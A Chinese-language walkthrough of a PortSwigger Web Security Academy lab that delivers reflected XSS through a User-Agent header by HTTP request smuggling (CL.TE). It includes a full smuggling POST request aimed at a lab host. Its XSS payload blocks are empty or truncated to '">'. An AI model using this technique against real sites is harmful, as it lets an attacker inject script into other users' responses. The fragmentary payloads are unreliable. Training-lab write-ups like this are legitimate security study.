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# 通过 HTTP 请求走私投递反射型 XSS
通过 HTTP 请求走私投递反射型 XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 利用 HTTP 请求走私传递反射型 XSS
实验室正在搭建一个前端服务器和一个后端服务器。/ 前端 **不支持分块编码**，这为以下攻击铺平了道路： **HTTP 请求走私**.
该应用程序还存在以下漏洞： **通过 User-Agent 头反射的 XSS**.
目标是 **发送一个走私的** 请求到后端，从而 **下一个受害用户请求收到的响应中包含正在运行的 XSS 有效载荷 `alert(1)`**.
实验室会定期为以下内容生成请求：
### User Agent 中的 XSS 漏洞
该 `userAgent` 表单中的字段会直接在响应中重用，因此允许注入：
{% code overflow="wrap" %}
```html
```
{% endcode %}
此载荷被接受并被解释，确认存在 XSS 漏洞。
{% code overflow="wrap" %}
```html
">
```
{% endcode %}
### **攻击目标**
思路是利用走私来确保：
1. 前端按以下方式读取请求： **Content-Length**.
2. 后端按以下方式读取： **Transfer-Encoding: chunked**.
3. 走私的请求会修改受害用户的下一个请求。
4. 然后服务器会返回一个响应，其中包含我们在 User-Agent 头中的 XSS 载荷。
### **走私的应用程序请求**
你提出一个包含空主体的 POST 请求（`0/r/n/r/n`）以结束分块部分，随后是发送给后端的请求
```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked
0
GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: ">
```
这个第二个请求（走私的）会被后端解释为下一次请求的一部分——即受害用户的请求——从而允许将 XSS 载荷注入它将收到的响应中。
---
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